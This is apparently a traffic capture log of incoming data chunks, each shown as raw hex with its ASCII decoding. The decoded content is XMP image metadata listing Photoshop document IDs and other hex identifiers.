2022-07-20 11:24:37 UTC	2665	IN	Data Raw: 37 30 41 41 38 45 39 45 44 31 31 30 30 36 37 32 36 38 34 36 33 33 44 30 36 41 43 43 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 31 38 45 35 44 35 36 36 30 35 31 43 46 43 33 39 38 31 30 44 35 42 36 37 41 42 46 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 32 33 45 35 41 39 32 36 44 41 37 33 45 37 39 37 45 36 42 32 30 45 37 44 36 34 38 38 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 32 42 46 45 41 46 30 31 38 32 41 38 38 46 45 43 42 44 36 44 35 36 41 39 30 32 41 37 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 33 31 41 38 33 37 43 44 45 33 41 30 44 43 45 38 31 37 46 31 36 43 31 33 34 38 36 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 33 34 45 32 Data Ascii: 70AA8E9ED1100672684633D06ACC808</rdf:li> <rdf:li>4718E5D566051CFC39810D5B67ABFD14</rdf:li> <rdf:li>4723E5A926DA73E797E6B20E7D648844</rdf:li> <rdf:li>472BFEAF0182A88FECBD6D56A902A7B3</rdf:li> <rdf:li>4731A837CDE3A0DCE817F16C134868C8</rdf:li> <rdf:li>4734E2
2022-07-20 11:24:37 UTC	2728	IN	Data Raw: 30 31 35 39 30 33 31 33 30 33 34 33 30 44 36 46 35 39 46 46 32 44 38 41 43 30 33 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 31 32 32 37 36 41 32 33 32 42 31 37 33 45 30 35 38 46 43 39 45 31 34 36 37 35 42 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 41 44 44 45 39 38 33 45 45 43 30 31 32 38 44 41 36 32 38 30 34 42 34 34 37 35 38 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 39 31 41 43 44 31 44 35 35 30 43 34 46 45 36 38 37 46 36 44 43 30 45 34 45 43 44 33 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 41 36 35 45 38 34 42 45 45 37 36 43 46 35 31 44 37 46 37 38 41 36 39 36 37 31 43 31 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 42 34 31 44 31 37 Data Ascii: 0159031303430D6F59FF2D8AC03F5</rdf:li> <rdf:li>4D812276A232B173E058FC9E14675BD9</rdf:li> <rdf:li>4D8ADDE983EEC0128DA62804B447589C</rdf:li> <rdf:li>4D91ACD1D550C4FE687F6DC0E4ECD357</rdf:li> <rdf:li>4DA65E84BEE76CF51D7F78A69671C19A</rdf:li> <rdf:li>4DB41D17
2022-07-20 11:24:37 UTC	2744	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 45 38 45 30 44 32 35 34 41 36 45 34 33 44 38 46 43 41 42 36 34 43 42 39 37 36 31 32 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 46 35 38 39 39 30 35 44 43 34 43 44 34 30 37 39 38 33 41 34 41 39 45 34 30 44 39 46 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 30 46 31 36 31 32 39 35 43 33 37 38 39 44 35 45 41 30 35 44 37 38 36 42 30 38 42 45 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 31 35 35 42 37 42 41 46 39 36 36 35 44 41 34 42 37 41 44 45 44 36 34 41 30 41 31 32 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 31 37 35 45 37 43 46 33 44 44 45 35 35 39 38 41 33 43 37 33 43 31 34 44 30 45 33 39 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: :li> <rdf:li>5AE8E0D254A6E43D8FCAB64CB97612F4</rdf:li> <rdf:li>5AF589905DC4CD407983A4A9E40D9FEE</rdf:li> <rdf:li>5B0F161295C3789D5EA05D786B08BE55</rdf:li> <rdf:li>5B155B7BAF9665DA4B7ADED64A0A125D</rdf:li> <rdf:li>5B175E7CF3DDE5598A3C73C14D0E390E</rdf:li>
2022-07-20 11:24:37 UTC	2816	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 36 39 37 36 46 31 35 46 46 44 42 31 46 46 39 37 42 33 34 43 38 35 33 35 36 42 37 36 32 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 37 44 43 32 38 34 31 35 41 36 46 37 46 35 35 38 35 44 45 35 31 41 38 45 36 44 35 37 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 38 31 30 43 35 38 39 45 33 46 32 46 35 38 42 35 44 45 38 41 33 31 38 43 30 44 35 41 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 39 32 38 30 46 45 44 30 32 34 33 37 30 35 44 46 36 46 32 32 41 37 38 43 42 35 30 41 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 39 39 37 31 31 31 42 45 30 33 36 38 35 42 45 36 38 32 31 33 30 46 39 31 33 32 35 34 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>6976F15FFDB1FF97B34C85356B7625D8</rdf:li> <rdf:li>697DC28415A6F7F5585DE51A8E6D5713</rdf:li> <rdf:li>69810C589E3F2F58B5DE8A318C0D5A0E</rdf:li> <rdf:li>699280FED0243705DF6F22A78CB50A0E</rdf:li> <rdf:li>69997111BE03685BE682130F91325479</rdf:li> <rdf:
2022-07-20 11:24:37 UTC	2864	IN	Data Raw: 64 66 3a 6c 69 3e 37 30 33 34 31 36 41 39 45 45 30 30 39 34 42 44 41 46 42 36 43 38 46 42 32 31 41 37 32 32 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 30 41 38 37 42 42 42 31 36 35 38 38 33 35 43 43 41 38 42 37 41 43 30 43 45 31 33 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 42 44 46 30 41 31 36 34 45 36 46 30 44 32 37 41 30 44 37 31 31 37 33 43 32 38 41 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 37 37 42 34 36 38 31 42 34 45 32 38 36 38 39 46 36 41 32 41 31 36 31 30 36 43 45 46 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 39 37 42 44 38 31 38 42 44 34 44 46 45 31 38 37 30 38 46 41 38 39 37 34 44 46 41 36 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>703416A9EE0094BDAFB6C8FB21A7223D</rdf:li> <rdf:li>7060A87BBB1658835CCA8B7AC0CE13ED</rdf:li> <rdf:li>706BDF0A164E6F0D27A0D71173C28A00</rdf:li> <rdf:li>7077B4681B4E28689F6A2A16106CEF0E</rdf:li> <rdf:li>7097BD818BD4DFE18708FA8974DFA679</rdf:li> <rdf:li
2022-07-20 11:24:37 UTC	2911	IN	Data Raw: 36 44 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 43 36 33 38 45 33 42 38 36 46 33 33 39 31 32 43 43 42 42 35 43 45 34 45 34 33 42 35 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 44 42 45 41 34 37 41 36 45 42 43 34 32 34 39 35 31 33 38 46 39 36 46 31 44 46 42 43 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 45 44 38 33 38 32 41 31 41 36 31 45 38 43 45 44 41 34 45 37 41 44 38 46 31 32 39 44 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 46 30 38 33 35 46 43 34 43 37 45 30 36 45 46 31 33 41 36 30 46 45 45 39 43 37 39 31 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 46 36 32 31 37 33 46 35 43 31 33 32 31 30 33 43 30 31 38 32 32 43 37 32 43 41 46 37 44 42 3c Data Ascii: 6D69</rdf:li> <rdf:li>7EC638E3B86F33912CCBB5CE4E43B528</rdf:li> <rdf:li>7EDBEA47A6EBC42495138F96F1DFBC81</rdf:li> <rdf:li>7EED8382A1A61E8CEDA4E7AD8F129DF0</rdf:li> <rdf:li>7EF0835FC4C7E06EF13A60FEE9C791CA</rdf:li> <rdf:li>7EF62173F5C132103C01822C72CAF7DB<
2022-07-20 11:24:37 UTC	2927	IN	Data Raw: 33 37 34 37 34 42 31 39 34 44 30 43 45 37 30 45 38 44 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 44 30 34 46 45 41 43 31 44 45 30 32 45 38 37 33 35 33 41 39 34 31 34 44 35 41 35 34 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 44 46 30 36 45 38 30 31 46 38 32 34 32 42 43 45 38 45 35 44 31 45 46 45 43 37 39 37 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 30 31 39 36 42 37 34 34 37 37 39 37 46 43 32 42 30 35 46 37 42 42 30 42 31 34 41 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 32 43 45 41 42 32 31 43 30 37 33 37 37 36 38 37 30 31 45 42 38 30 34 45 42 41 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 38 37 37 34 38 36 38 43 45 38 33 33 37 36 Data Ascii: 37474B194D0CE70E8D65</rdf:li> <rdf:li>8AD04FEAC1DE02E87353A9414D5A542E</rdf:li> <rdf:li>8ADF06E801F8242BCE8E5D1EFEC797D7</rdf:li> <rdf:li>8AF0196B7447797FC2B05F7BB0B14A08</rdf:li> <rdf:li>8AF2CEAB21C0737768701EB804EBAD14</rdf:li> <rdf:li>8AF8774868CE83376
2022-07-20 11:24:37 UTC	3014	IN	Data Raw: 43 32 38 45 37 33 34 30 44 35 38 33 46 39 44 43 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 34 36 43 37 35 30 41 39 42 30 46 32 36 30 39 35 46 46 34 45 38 42 44 35 38 46 42 38 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 35 46 36 33 31 43 35 31 46 38 31 41 35 36 38 35 43 33 44 41 44 39 43 41 45 42 39 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 37 46 31 46 42 36 38 45 45 45 44 39 39 44 44 43 37 44 32 39 43 33 37 45 31 45 32 36 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 39 34 41 30 41 32 36 39 31 31 34 37 33 37 34 43 38 43 31 36 43 46 33 39 31 38 32 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 41 33 32 39 34 35 32 36 33 42 41 37 43 43 33 38 31 Data Ascii: C28E7340D583F9DC3A</rdf:li> <rdf:li>9246C750A9B0F26095FF4E8BD58FB86A</rdf:li> <rdf:li>925F631C51F81A5685C3DAD9CAEB9138</rdf:li> <rdf:li>927F1FB68EEED99DDC7D29C37E1E269A</rdf:li> <rdf:li>9294A0A2691147374C8C16CF39182E7F</rdf:li> <rdf:li>92A32945263BA7CC381
2022-07-20 11:24:37 UTC	3301	IN	Data Raw: 30 43 36 46 31 36 44 34 39 39 41 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 33 34 45 32 37 42 31 32 43 33 45 34 42 30 41 34 35 37 44 41 35 34 42 32 46 31 42 45 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 36 42 30 32 41 37 39 46 34 31 36 33 38 43 37 44 46 44 35 37 42 34 42 42 35 39 38 32 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 36 45 32 41 38 36 35 34 37 37 44 37 37 35 38 30 37 33 32 43 36 34 43 35 43 46 32 39 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 37 38 36 45 41 33 32 32 35 42 35 30 35 39 38 34 30 44 44 35 30 33 33 30 38 45 34 35 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 38 32 42 44 39 41 30 36 32 30 39 32 30 36 33 46 34 31 34 31 33 38 Data Ascii: 0C6F16D499ACA</rdf:li> <rdf:li>A034E27B12C3E4B0A457DA54B2F1BE8E</rdf:li> <rdf:li>A06B02A79F41638C7DFD57B4BB598263</rdf:li> <rdf:li>A06E2A865477D77580732C64C5CF29A6</rdf:li> <rdf:li>A0786EA3225B5059840DD503308E45E1</rdf:li> <rdf:li>A082BD9A062092063F414138
2022-07-20 11:24:37 UTC	3317	IN	Data Raw: 36 43 34 44 46 35 37 43 30 44 39 34 38 31 39 35 37 45 36 39 37 36 45 39 42 30 30 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 36 46 34 35 36 39 30 36 46 42 32 41 39 36 35 41 45 35 45 31 41 45 34 34 38 31 31 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 42 34 33 32 36 33 32 35 34 35 43 42 44 45 36 31 37 45 31 38 41 37 37 30 37 30 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 45 35 32 44 30 46 33 33 43 42 38 35 45 35 45 43 35 35 36 39 39 41 30 37 39 31 37 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 46 32 42 36 46 35 38 32 42 38 43 36 39 35 33 38 41 43 37 37 34 32 46 38 31 32 44 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 44 33 41 45 30 41 Data Ascii: 6C4DF57C0D9481957E6976E9B008B</rdf:li> <rdf:li>ADA6F456906FB2A965AE5E1AE448116E</rdf:li> <rdf:li>ADAB432632545CBDE617E18A7707097D</rdf:li> <rdf:li>ADAE52D0F33CB85E5EC55699A07917F7</rdf:li> <rdf:li>ADAF2B6F582B8C69538AC7742F812D88</rdf:li> <rdf:li>ADD3AE0A
2022-07-20 11:24:37 UTC	3325	IN	Data Raw: 39 37 31 39 36 38 32 35 37 37 32 35 39 46 30 37 46 32 44 43 31 30 37 45 42 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 42 37 46 43 34 35 35 37 34 46 31 35 43 34 38 36 33 31 42 45 42 33 34 46 38 46 32 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 44 30 44 37 37 33 33 37 38 31 45 37 44 41 33 35 36 46 44 43 34 44 33 43 31 39 31 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 46 44 36 34 34 34 37 36 43 37 46 35 41 44 38 32 38 42 41 34 35 30 36 41 33 39 39 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 34 33 39 43 42 39 30 38 30 44 33 37 33 46 39 33 38 34 34 45 46 46 45 31 41 42 39 31 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 34 35 31 32 38 35 34 39 Data Ascii: 9719682577259F07F2DC107EB88</rdf:li> <rdf:li>B43B7FC45574F15C48631BEB34F8F21F</rdf:li> <rdf:li>B43D0D7733781E7DA356FDC4D3C1910F</rdf:li> <rdf:li>B43FD644476C7F5AD828BA4506A399D9</rdf:li> <rdf:li>B4439CB9080D373F93844EFFE1AB911B</rdf:li> <rdf:li>B445128549
2022-07-20 11:24:37 UTC	3326	IN	Data Raw: 42 33 41 35 34 45 43 46 36 38 39 35 45 35 33 43 41 32 45 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 42 46 37 37 30 35 39 30 45 35 39 38 39 46 35 33 31 31 41 41 42 41 35 45 39 46 35 35 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 30 31 37 38 42 37 39 30 44 35 39 37 31 42 35 31 44 45 37 43 37 45 37 42 42 32 35 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 37 37 30 36 37 35 34 43 31 46 44 41 44 46 32 45 42 38 39 36 38 31 46 32 37 45 45 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 38 45 41 44 32 31 34 43 32 30 46 41 36 39 36 37 43 37 34 45 43 38 37 36 32 37 38 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 43 32 37 35 35 33 42 45 32 30 45 46 44 Data Ascii: B3A54ECF6895E53CA2EC6</rdf:li> <rdf:li>B4BF770590E5989F5311AABA5E9F5589</rdf:li> <rdf:li>B4C0178B790D5971B51DE7C7E7BB25FF</rdf:li> <rdf:li>B4C7706754C1FDADF2EB89681F27EE2C</rdf:li> <rdf:li>B4C8EAD214C20FA6967C74EC87627866</rdf:li> <rdf:li>B4CC27553BE20EFD
2022-07-20 11:24:37 UTC	3349	IN	Data Raw: 66 3a 6c 69 3e 43 32 41 34 36 30 45 46 32 30 31 43 33 31 44 38 33 42 32 37 36 30 35 46 41 42 44 38 38 38 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 41 42 41 35 37 35 31 46 42 42 46 41 35 39 31 31 34 39 35 33 46 36 35 36 41 35 46 41 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 42 41 37 46 39 36 38 33 36 44 35 43 38 46 35 39 36 38 44 36 33 46 45 37 39 43 43 37 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 43 34 43 35 33 38 32 37 37 43 44 32 34 32 32 44 39 38 38 31 37 43 44 36 39 46 33 33 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 44 30 32 43 39 43 38 45 46 39 37 38 30 41 39 44 33 32 39 42 43 43 44 31 41 31 43 35 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>C2A460EF201C31D83B27605FABD888BB</rdf:li> <rdf:li>C2ABA5751FBBFA59114953F656A5FA4B</rdf:li> <rdf:li>C2BA7F96836D5C8F5968D63FE79CC75B</rdf:li> <rdf:li>C2C4C538277CD2422D98817CD69F3371</rdf:li> <rdf:li>C2D02C9C8EF9780A9D329BCCD1A1C586</rdf:li> <rdf:li>
2022-07-20 11:24:37 UTC	3365	IN	Data Raw: 43 45 45 44 44 41 41 37 36 43 35 45 34 41 38 35 38 45 31 32 36 39 31 34 34 36 37 42 41 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 45 46 35 36 42 42 45 45 46 41 39 46 36 36 45 35 31 31 42 41 32 38 46 43 35 34 33 31 34 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 30 33 34 46 43 46 38 38 35 42 31 44 32 34 44 35 32 44 35 44 38 38 36 43 44 37 39 37 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 31 44 30 43 33 43 43 39 36 35 37 31 31 34 34 46 44 33 45 45 42 46 43 36 31 36 39 35 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 32 32 42 33 41 46 31 33 45 38 37 41 37 39 46 41 42 44 43 45 37 32 41 35 35 33 44 46 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 32 41 33 Data Ascii: CEEDDAA76C5E4A858E126914467BA03A</rdf:li> <rdf:li>CEF56BBEEFA9F66E511BA28FC54314B9</rdf:li> <rdf:li>CF034FCF885B1D24D52D5D886CD79778</rdf:li> <rdf:li>CF1D0C3CC96571144FD3EEBFC6169588</rdf:li> <rdf:li>CF22B3AF13E87A79FABDCE72A553DF0C</rdf:li> <rdf:li>CF2A3
2022-07-20 11:24:37 UTC	3372	IN	Data Raw: 3a 6c 69 3e 44 35 41 32 35 39 43 45 37 32 33 35 35 31 31 36 44 43 39 31 43 33 46 34 39 41 35 39 33 44 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 41 38 34 43 35 46 33 39 34 34 39 38 31 45 46 45 34 44 37 42 45 44 41 31 33 45 33 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 43 44 31 41 41 45 41 35 41 41 31 45 43 31 39 38 36 35 41 30 33 30 38 41 36 30 32 36 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 43 46 42 46 46 37 39 34 31 31 39 39 33 30 46 39 46 30 35 37 32 33 37 32 45 46 46 30 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 44 32 38 44 31 38 37 33 32 39 32 35 33 32 31 31 37 30 30 46 36 32 30 36 42 32 32 42 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 Data Ascii: :li>D5A259CE72355116DC91C3F49A593D4D</rdf:li> <rdf:li>D5A84C5F3944981EFE4D7BEDA13E3260</rdf:li> <rdf:li>D5CD1AAEA5AA1EC19865A0308A60263F</rdf:li> <rdf:li>D5CFBFF794119930F9F0572372EFF0DE</rdf:li> <rdf:li>D5D28D187329253211700F6206B22BD3</rdf:li> <rdf:li>D
2022-07-20 11:24:37 UTC	3388	IN	Data Raw: 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 32 34 35 31 38 42 44 42 37 34 44 46 36 44 37 36 34 44 30 42 37 43 42 35 33 45 30 36 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 32 39 30 30 35 46 37 45 42 42 43 42 35 38 46 45 30 39 44 41 35 38 42 38 34 44 33 42 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 33 37 34 31 43 41 43 30 41 41 44 43 44 32 44 31 37 45 44 41 37 34 33 30 38 32 45 38 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 35 38 42 35 45 31 44 42 46 36 33 37 37 41 32 43 37 34 44 32 37 30 30 32 46 38 39 41 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 36 41 31 36 39 37 45 37 38 44 30 45 43 42 32 45 38 36 32 34 41 31 41 37 38 45 39 32 45 41 3c 2f 72 Data Ascii: A9</rdf:li> <rdf:li>E324518BDB74DF6D764D0B7CB53E06AD</rdf:li> <rdf:li>E329005F7EBBCB58FE09DA58B84D3B93</rdf:li> <rdf:li>E33741CAC0AADCD2D17EDA743082E80C</rdf:li> <rdf:li>E358B5E1DBF6377A2C74D27002F89ABE</rdf:li> <rdf:li>E36A1697E78D0ECB2E8624A1A78E92EA</r
2022-07-20 11:24:37 UTC	3404	IN	Data Raw: 41 37 42 32 31 45 35 38 31 36 35 30 44 37 35 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 30 45 46 32 34 38 46 38 38 31 39 32 42 33 39 43 38 46 36 46 30 46 38 43 33 44 38 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 34 36 31 36 44 42 37 31 34 31 42 44 38 45 34 34 44 41 41 37 35 35 30 39 43 35 42 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 43 42 37 38 31 41 38 43 37 43 38 46 42 43 31 34 38 38 36 38 34 43 36 32 44 33 30 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 45 39 41 45 41 42 43 31 37 31 35 31 36 32 43 45 44 31 32 37 32 33 43 44 44 43 35 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 46 39 45 46 36 44 30 35 35 37 36 39 37 31 36 46 Data Ascii: A7B21E581650D75711</rdf:li> <rdf:li>EF30EF248F88192B39C8F6F0F8C3D839</rdf:li> <rdf:li>EF34616DB7141BD8E44DAA75509C5B92</rdf:li> <rdf:li>EF3CB781A8C7C8FBC1488684C62D3062</rdf:li> <rdf:li>EF3E9AEABC1715162CED12723CDDC55B</rdf:li> <rdf:li>EF3F9EF6D055769716F
2022-07-20 11:24:37 UTC	3428	IN	Data Raw: 34 37 33 46 43 46 45 38 45 41 38 44 46 35 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 43 45 46 38 35 36 31 34 45 31 39 33 45 38 45 33 43 33 35 42 32 45 34 33 43 45 33 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 44 33 38 35 39 35 38 44 37 44 41 30 41 35 34 30 32 35 44 32 32 34 43 44 43 38 44 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 46 39 31 35 39 39 30 44 42 39 35 43 30 39 32 34 42 43 30 32 37 44 44 31 32 30 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 31 39 35 33 39 46 41 33 44 35 35 39 43 43 43 39 34 31 44 30 45 41 39 36 30 43 31 44 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 33 43 41 37 43 30 32 34 42 37 31 46 31 35 32 36 32 31 35 Data Ascii: 473FCFE8EA8DF5AC</rdf:li> <rdf:li>F50CEF85614E193E8E3C35B2E43CE35F</rdf:li> <rdf:li>F50D385958D7DA0A54025D224CDC8DA4</rdf:li> <rdf:li>F50F915990DB95C0924BC027DD120D77</rdf:li> <rdf:li>F519539FA3D559CCC941D0EA960C1DFD</rdf:li> <rdf:li>F53CA7C024B71F1526215
2022-07-20 11:24:37 UTC	3492	IN	Data Raw: 65 31 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 61 64 64 32 66 64 30 2d 64 33 32 36 2d 31 31 64 64 2d 61 64 36 30 2d 64 38 35 64 38 30 38 30 36 61 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 61 65 37 64 37 35 32 2d 38 63 61 64 2d 31 31 64 39 2d 62 39 33 34 2d 62 38 37 39 39 31 35 63 39 31 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 62 39 38 38 61 62 62 2d 65 30 38 63 2d 31 31 64 37 2d 38 64 34 34 2d 38 32 64 32 31 62 33 61 36 38 30 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 Data Ascii: e120</rdf:li> <rdf:li>adobe:docid:photoshop:0add2fd0-d326-11dd-ad60-d85d80806ad1</rdf:li> <rdf:li>adobe:docid:photoshop:0ae7d752-8cad-11d9-b934-b879915c9142</rdf:li> <rdf:li>adobe:docid:photoshop:0b988abb-e08c-11d7-8d44-82d21b3a680f</rdf:li> <rdf:li>adobe
